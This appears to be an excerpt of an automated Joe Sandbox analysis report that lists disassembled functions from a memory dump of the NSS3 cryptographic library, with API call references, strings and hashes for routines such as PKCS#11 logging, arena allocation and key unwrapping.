Part of subcall function 6C80A110: PORT_ArenaGrow_Util.NSS3(8514C483,EB2074C0,184D8B3E,?,00000000,00000000,00000000,FFFFFFFF,?,6C80A421,00000000,00000000,6C809826), ref: 6C80A136

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C80904A

Strings

abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_, xrefs: 6C808E76

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: ArenaUtil$Alloc_Grow_memcpystrlen$Errormemchrstrcmp
String ID: abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_
API String ID: 977052965-1032500510
Opcode ID: cdd27b36e8f8d6adce39e5e45cd7c1fb7a704acc2ad413af09c07e7755b2a54c
Instruction ID: f4afacfc742d262be71a2381554dfd8ff655641551a98a56ac825fb0192cba7b
Opcode Fuzzy Hash: cdd27b36e8f8d6adce39e5e45cd7c1fb7a704acc2ad413af09c07e7755b2a54c
Instruction Fuzzy Hash: 346192B5E0110A9BDB20CF65CE80AABB7B5EF85358F144928EC18A7701E731E955CBA1

Function 6C7B8E00 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 193memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C7B8E5B
PR_SetError.NSS3(FFFFE007,00000000), ref: 6C7B8E81
PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C7B8EED
SEC_QuickDERDecodeItem_Util.NSS3(?,?,6C8E18D0,?), ref: 6C7B8F03
PR_CallOnce.NSS3(6C912AA4,6C8112D0), ref: 6C7B8F19
PL_FreeArenaPool.NSS3(?), ref: 6C7B8F2B
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C7B8F53
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C7B8F65
PL_FinishArenaPool.NSS3(?), ref: 6C7B8FA1
SECITEM_DupItem_Util.NSS3(?), ref: 6C7B8FFE
PR_CallOnce.NSS3(6C912AA4,6C8112D0), ref: 6C7B9012
PL_FreeArenaPool.NSS3(?), ref: 6C7B9024
PL_FinishArenaPool.NSS3(?), ref: 6C7B902C
PORT_DestroyCheapArena.NSS3(?), ref: 6C7B903E

Strings

security, xrefs: 6C7B8EE7

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: Arena$Pool$Util$CallErrorFinishFreeItem_Once$Alloc_CheapDecodeDestroyInitQuickmemset
String ID: security
API String ID: 3512696800-3315324353
Opcode ID: fe26542e533f8a6dfcecc87e9b03ec33878ab1054f53851d327ea5943e41e23f
Instruction ID: 890d28ee0f856900965e181e36ca316f1a653fd3d0879744eb71dc6aa0b05d0e
Opcode Fuzzy Hash: fe26542e533f8a6dfcecc87e9b03ec33878ab1054f53851d327ea5943e41e23f
Instruction Fuzzy Hash: 235105B1608202ABD7209E189E41BAB73E8AB9675CF440D3EF855A7B41E731D908C763

Function 6C7E4E60 Relevance: 26.4, APIs: 9, Strings: 6, Instructions: 127COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetAttributeValue), ref: 6C7E4E83
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C7E4EB8
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C7E4EC7

Part of subcall function 6C8CD930: PL_strncpyz.NSS3(?,?,?), ref: 6C8CD963

PR_LogPrint.NSS3(?,00000000), ref: 6C7E4EDD
PL_strncpyz.NSS3(?, hObject = 0x%x,00000050), ref: 6C7E4F0B
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C7E4F1A
PR_LogPrint.NSS3(?,00000000), ref: 6C7E4F30
PR_LogPrint.NSS3( pTemplate = 0x%p,?), ref: 6C7E4F4F
PR_LogPrint.NSS3( ulCount = %d,?), ref: 6C7E4F68

Strings

(CK_INVALID_HANDLE), xrefs: 6C7E4EC0, 6C7E4F13
ulCount = %d, xrefs: 6C7E4F63
hSession = 0x%x, xrefs: 6C7E4EA2, 6C7E4EB2
hObject = 0x%x, xrefs: 6C7E4EF5, 6C7E4F05
C_GetAttributeValue, xrefs: 6C7E4E7E
pTemplate = 0x%p, xrefs: 6C7E4F4A

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hObject = 0x%x$ hSession = 0x%x$ pTemplate = 0x%p$ ulCount = %d$ (CK_INVALID_HANDLE)$C_GetAttributeValue
API String ID: 1003633598-3530272145
Opcode ID: f0c629d3aaa3c8f48bf1747d6d876131c5441eae31e7206ec12617c4c4db0564
Instruction ID: faee4a2110ab0897590eaa55a359394bcab2f2934ecd0068e47c494b3737b5e6
Opcode Fuzzy Hash: f0c629d3aaa3c8f48bf1747d6d876131c5441eae31e7206ec12617c4c4db0564
Instruction Fuzzy Hash: 7D41E376605104ABDB10EB94DF4EF9A37B5EB46719F194838F40857B12DB30AA08DBA2

Function 6C7E4CD0 Relevance: 26.4, APIs: 9, Strings: 6, Instructions: 120COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetObjectSize), ref: 6C7E4CF3
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C7E4D28
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C7E4D37

Part of subcall function 6C8CD930: PL_strncpyz.NSS3(?,?,?), ref: 6C8CD963

PR_LogPrint.NSS3(?,00000000), ref: 6C7E4D4D
PL_strncpyz.NSS3(?, hObject = 0x%x,00000050), ref: 6C7E4D7B
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C7E4D8A
PR_LogPrint.NSS3(?,00000000), ref: 6C7E4DA0
PR_LogPrint.NSS3( pulSize = 0x%p,?), ref: 6C7E4DBC
PR_LogPrint.NSS3( *pulSize = 0x%x,?), ref: 6C7E4E20

Strings

C_GetObjectSize, xrefs: 6C7E4CEE
(CK_INVALID_HANDLE), xrefs: 6C7E4D30, 6C7E4D83
hSession = 0x%x, xrefs: 6C7E4D12, 6C7E4D22
hObject = 0x%x, xrefs: 6C7E4D65, 6C7E4D75
*pulSize = 0x%x, xrefs: 6C7E4E1B
pulSize = 0x%p, xrefs: 6C7E4DB7

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulSize = 0x%x$ hObject = 0x%x$ hSession = 0x%x$ pulSize = 0x%p$ (CK_INVALID_HANDLE)$C_GetObjectSize
API String ID: 1003633598-3553622718
Opcode ID: efee5a79ba9383678bfcc80a435458ed01f9bd3c2d958f58678c1987607184a2
Instruction ID: a75675a6e801818f300127a95bfbbf31736e260773c382b18df67530698bac22
Opcode Fuzzy Hash: efee5a79ba9383678bfcc80a435458ed01f9bd3c2d958f58678c1987607184a2
Instruction Fuzzy Hash: F641F572604204AFD710EB94DF8FB6A37B5EB4A31DF144839E5086BB12DB30D918EB52

Function 6C7E2F00 Relevance: 26.4, APIs: 8, Strings: 7, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_SetPIN), ref: 6C7E2F26
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C7E2F54
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C7E2F63

Part of subcall function 6C8CD930: PL_strncpyz.NSS3(?,?,?), ref: 6C8CD963

PR_LogPrint.NSS3(?,00000000), ref: 6C7E2F79
PR_LogPrint.NSS3( pOldPin = 0x%p,?), ref: 6C7E2F9A
PR_LogPrint.NSS3( ulOldLen = %d,?), ref: 6C7E2FB5
PR_LogPrint.NSS3( pNewPin = 0x%p,?), ref: 6C7E2FCE
PR_LogPrint.NSS3( ulNewLen = %d,?), ref: 6C7E2FE7

Strings

ulNewLen = %d, xrefs: 6C7E2FE2
(CK_INVALID_HANDLE), xrefs: 6C7E2F5C
pOldPin = 0x%p, xrefs: 6C7E2F95
ulOldLen = %d, xrefs: 6C7E2FB0
pNewPin = 0x%p, xrefs: 6C7E2FC9
hSession = 0x%x, xrefs: 6C7E2F3E, 6C7E2F4E
C_SetPIN, xrefs: 6C7E2F21

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pNewPin = 0x%p$ pOldPin = 0x%p$ ulNewLen = %d$ ulOldLen = %d$ (CK_INVALID_HANDLE)$C_SetPIN
API String ID: 1003633598-3716813897
Opcode ID: 30a3238b5cb99cffb4de058f8c602b45470ba8948ed9ef41b83d25a611fe14b1
Instruction ID: aa8ac627dbfa4658bdfb4581c98137e3d8945f6770ecf5a247f02bec8ebcf3eb
Opcode Fuzzy Hash: 30a3238b5cb99cffb4de058f8c602b45470ba8948ed9ef41b83d25a611fe14b1
Instruction Fuzzy Hash: 0F31F576605245AFCB10EF54DF4EF5A37B1EB4B319F184424E808A7B12DB30D958CB92

Function 6C87CD70 Relevance: 26.3, APIs: 10, Strings: 5, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6C87CC7B), ref: 6C87CD7A

Part of subcall function 6C87CE60: PR_LoadLibraryWithFlags.NSS3(?,?,?,?,00000000,?,6C7EC1A8,?), ref: 6C87CE92

PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6C87CDA5
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6C87CDB8
PR_UnloadLibrary.NSS3(00000000), ref: 6C87CDDB
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6C87CD8E

Part of subcall function 6C7A05C0: PR_EnterMonitor.NSS3 ref: 6C7A05D1
Part of subcall function 6C7A05C0: PR_ExitMonitor.NSS3 ref: 6C7A05EA

PR_LoadLibrary.NSS3(wship6.dll), ref: 6C87CDE8
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6C87CDFF
PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6C87CE16
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6C87CE29
PR_UnloadLibrary.NSS3(00000000), ref: 6C87CE48

Strings

wship6.dll, xrefs: 6C87CDE3
getaddrinfo, xrefs: 6C87CD88, 6C87CDF9
ws2_32.dll, xrefs: 6C87CD75
freeaddrinfo, xrefs: 6C87CD9F, 6C87CE10
getnameinfo, xrefs: 6C87CDB2, 6C87CE23

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: FindSymbol$Library$Load$MonitorUnload$EnterExitFlagsWith
String ID: freeaddrinfo$getaddrinfo$getnameinfo$ws2_32.dll$wship6.dll
API String ID: 601260978-871931242
Opcode ID: b9d516a137a6aa2319f02d4b8ff062749fd19becda738dd851176a29d9f5ed1d
Instruction ID: 2c6426a6ec598723ce045b439d54366b0fe6d030b22c6c0883594df3cec34c01
Opcode Fuzzy Hash: b9d516a137a6aa2319f02d4b8ff062749fd19becda738dd851176a29d9f5ed1d
Instruction Fuzzy Hash: 1C11ECA6E0723122D731A6B56F0A9AE3C985B1718DF240E35E816D3F02FB11C505C7F6

Function 6C7F4540 Relevance: 25.8, APIs: 17, Instructions: 349COMMON

Download Yara Rule

APIs

PK11_MakeIDFromPubKey.NSS3(00000000), ref: 6C7F4590
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C7F471C
TlsGetValue.KERNEL32 ref: 6C7F477C
EnterCriticalSection.KERNEL32(?), ref: 6C7F479A
PR_SetError.NSS3(FFFFE002,00000000), ref: 6C7F484A
PK11_FreeSymKey.NSS3(?), ref: 6C7F4858
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C7F486A
PR_Unlock.NSS3(?), ref: 6C7F487E

Part of subcall function 6C85DD70: TlsGetValue.KERNEL32 ref: 6C85DD8C
Part of subcall function 6C85DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C85DDB4

PK11_FreeSymKey.NSS3(?), ref: 6C7F488C
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C7F489C
PK11_GetInternalSlot.NSS3 ref: 6C7F48B2
PK11_UnwrapPrivKey.NSS3(00000000,00000130,00000000,?,00000000,?,00000000,00000000,00000000,00000000,00000000,?,6C7D7F9D), ref: 6C7F48EC
SECKEY_DestroyPrivateKey.NSS3(00000000), ref: 6C7F492A
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C7F4949
PR_SetError.NSS3(00000000,00000000), ref: 6C7F4977
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C7F4987
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C7F499B

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: Item_UtilZfree$K11_$CriticalErrorFreeSectionValue$DestroyEnterFromInternalLeaveMakePrivPrivateSlotUnlockUnwrap
String ID:
API String ID: 1673584487-0
Opcode ID: b1b92c4b41c436b2504fc7a3a517fbfb212b6921f806c4d7e44a0757c680d3ae
Instruction ID: 2dfe4eb4cb48b0c2a42812e8234e98ad55960f37b79371321ff2f29f16042031
Opcode Fuzzy Hash: b1b92c4b41c436b2504fc7a3a517fbfb212b6921f806c4d7e44a0757c680d3ae
Instruction Fuzzy Hash: 03E19071E002159FDB20CF24CE84BAEBBB5EF04308F1485B9E819A7751E7729A95DF90

Function 6C816CA0 Relevance: 24.3, APIs: 16, Instructions: 311memoryCOMMON

Download Yara Rule

APIs

SEC_ASN1DecodeItem_Util.NSS3(?,?,6C8E1DE0,?), ref: 6C816CFE
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C816D26
PR_SetError.NSS3(FFFFE04F,00000000), ref: 6C816D70
PORT_Alloc_Util.NSS3(00000480), ref: 6C816D82
DER_GetInteger_Util.NSS3(?), ref: 6C816DA2
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C816DD8
PK11_KeyGen.NSS3(00000000,8000000B,?,00000000,00000000), ref: 6C816E60
PK11_CreateContextBySymKey.NSS3(00000201,00000108,?,?), ref: 6C816F19
PK11_DigestBegin.NSS3(00000000), ref: 6C816F2D
PK11_DigestOp.NSS3(?,?,00000000), ref: 6C816F7B
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C817011
PK11_FreeSymKey.NSS3(00000000), ref: 6C817033
free.MOZGLUE(?), ref: 6C81703F
PK11_DigestFinal.NSS3(?,?,?,00000400), ref: 6C817060
SECITEM_CompareItem_Util.NSS3(?,?), ref: 6C817087
PR_SetError.NSS3(FFFFE062,00000000), ref: 6C8170AF

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: K11_$Util$DigestError$ContextItem_$AlgorithmAlloc_BeginCompareCreateDecodeDestroyFinalFreeInteger_Tag_free
String ID:
API String ID: 2108637330-0
Opcode ID: d510334b087d630280f9827666614234bf1a665381bf011080013021d2a35545
Instruction ID: 1544927bd82abec83fb03da31e551d09c678f35f55068511677b5dd80959cb07
Opcode Fuzzy Hash: d510334b087d630280f9827666614234bf1a665381bf011080013021d2a35545
Instruction Fuzzy Hash: 08A1E9B151C2029BEB209B24DE85B6A32E5DB8130CF244E3DE999CBF81E775D849C753

Function 6C7DAEC0 Relevance: 24.3, APIs: 16, Instructions: 272threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6C7BAB95,00000000,?,00000000,00000000,00000000), ref: 6C7DAF25
EnterCriticalSection.KERNEL32(?,?,?,?,6C7BAB95,00000000,?,00000000,00000000,00000000), ref: 6C7DAF39
PR_Unlock.NSS3(?,?,?,6C7BAB95,00000000,?,00000000,00000000,00000000), ref: 6C7DAF51
PR_SetError.NSS3(FFFFE041,00000000,?,?,?,6C7BAB95,00000000,?,00000000,00000000,00000000), ref: 6C7DAF69
TlsGetValue.KERNEL32 ref: 6C7DB06B
EnterCriticalSection.KERNEL32(?), ref: 6C7DB083
PR_Unlock.NSS3(?), ref: 6C7DB0A4
TlsGetValue.KERNEL32 ref: 6C7DB0C1
EnterCriticalSection.KERNEL32(00000000), ref: 6C7DB0D9
PR_Unlock.NSS3 ref: 6C7DB102
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C7DB151
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C7DB182

Part of subcall function 6C80FAB0: free.MOZGLUE(?,-00000001,?,?,6C7AF673,00000000,00000000), ref: 6C80FAC7

PR_SetError.NSS3(FFFFE08A,00000000), ref: 6C7DB177

Part of subcall function 6C85C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C85C2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,6C7BAB95,00000000,?,00000000,00000000,00000000), ref: 6C7DB1A2
PR_GetCurrentThread.NSS3(?,?,?,?,6C7BAB95,00000000,?,00000000,00000000,00000000), ref: 6C7DB1AA
PR_SetError.NSS3(FFFFE018,00000000,?,?,?,?,6C7BAB95,00000000,?,00000000,00000000,00000000), ref: 6C7DB1C2

Part of subcall function 6C801560: TlsGetValue.KERNEL32(00000000,?,6C7D0844,?), ref: 6C80157A
Part of subcall function 6C801560: EnterCriticalSection.KERNEL32(?,?,?,6C7D0844,?), ref: 6C80158F
Part of subcall function 6C801560: PR_Unlock.NSS3(?,?,?,?,6C7D0844,?), ref: 6C8015B2

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlock$ErrorItem_UtilZfree$CurrentThreadfree
String ID:
API String ID: 4188828017-0
Opcode ID: 3e9f350f4e54b7a125979fb9d806caca01462d263f21752562f346fc45f9d654
Instruction ID: d2c9d5f56e91347fe0ffacb0c5412e4035c09a1dbfcf1b758e4346e9539c589f
Opcode Fuzzy Hash: 3e9f350f4e54b7a125979fb9d806caca01462d263f21752562f346fc45f9d654
Instruction Fuzzy Hash: 7FA1C0B1E00206AFEF009F64DE49AAE77B4BF05308F154539E805A7751E732F959CBA2

Function 6C7FE550 Relevance: 23.1, APIs: 12, Strings: 1, Instructions: 384COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C7FE5A0

Part of subcall function 6C85C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C85C2BF

memcpy.VCRUNTIME140(?,?,?), ref: 6C7FE5F2

Strings

0, xrefs: 6C7FEA4D

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: ErrorValuememcpy
String ID: 0
API String ID: 3044119603-4108050209
Opcode ID: 3f0c6eae4ef8dee9d08e2a9a1ebf1c1ffa2ebc68b4ddb57ebddd7f1828f5c046
Instruction ID: b69b71cd32fffa2f63424e13eea88e3d2d03ee674221719187c19f1a2033e512
Opcode Fuzzy Hash: 3f0c6eae4ef8dee9d08e2a9a1ebf1c1ffa2ebc68b4ddb57ebddd7f1828f5c046
Instruction Fuzzy Hash: 67F18AB1A002299FDB21CF24CD84BDA77B5BF49318F0441A8E928A7741E771EA95CFD1

Function 6C7D2C40 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 163COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(#?}l,?,6C7CE477,?,?,?,00000001,00000000,?,?,6C7D3F23,?), ref: 6C7D2C62
EnterCriticalSection.KERNEL32(0000001C,?,6C7CE477,?,?,?,00000001,00000000,?,?,6C7D3F23,?), ref: 6C7D2C76
PL_HashTableLookup.NSS3(00000000,?,?,6C7CE477,?,?,?,00000001,00000000,?,?,6C7D3F23,?), ref: 6C7D2C86
PR_Unlock.NSS3(00000000,?,?,?,?,6C7CE477,?,?,?,00000001,00000000,?,?,6C7D3F23,?), ref: 6C7D2C93

Part of subcall function 6C85DD70: TlsGetValue.KERNEL32 ref: 6C85DD8C
Part of subcall function 6C85DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C85DDB4

TlsGetValue.KERNEL32(?,?,?,?,?,6C7CE477,?,?,?,00000001,00000000,?,?,6C7D3F23,?), ref: 6C7D2CC6
EnterCriticalSection.KERNEL32(0000001C,?,?,?,?,?,6C7CE477,?,?,?,00000001,00000000,?,?,6C7D3F23,?), ref: 6C7D2CDA
PL_HashTableLookup.NSS3(00000000,?,?,?,?,?,?,6C7CE477,?,?,?,00000001,00000000,?,?,6C7D3F23), ref: 6C7D2CEA
PR_Unlock.NSS3(00000000,?,?,?,?,?,?,?,6C7CE477,?,?,?,00000001,00000000,?), ref: 6C7D2CF7
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,6C7CE477,?,?,?,00000001,00000000,?), ref: 6C7D2D4D
EnterCriticalSection.KERNEL32(?), ref: 6C7D2D61
PL_HashTableLookup.NSS3(?,?), ref: 6C7D2D71
PR_Unlock.NSS3(?), ref: 6C7D2D7E

Part of subcall function 6C7A07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C73204A), ref: 6C7A07AD
Part of subcall function 6C7A07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C73204A), ref: 6C7A07CD
Part of subcall function 6C7A07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C73204A), ref: 6C7A07D6
Part of subcall function 6C7A07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C73204A), ref: 6C7A07E4
Part of subcall function 6C7A07A0: TlsSetValue.KERNEL32(00000000,?,6C73204A), ref: 6C7A0864
Part of subcall function 6C7A07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C7A0880
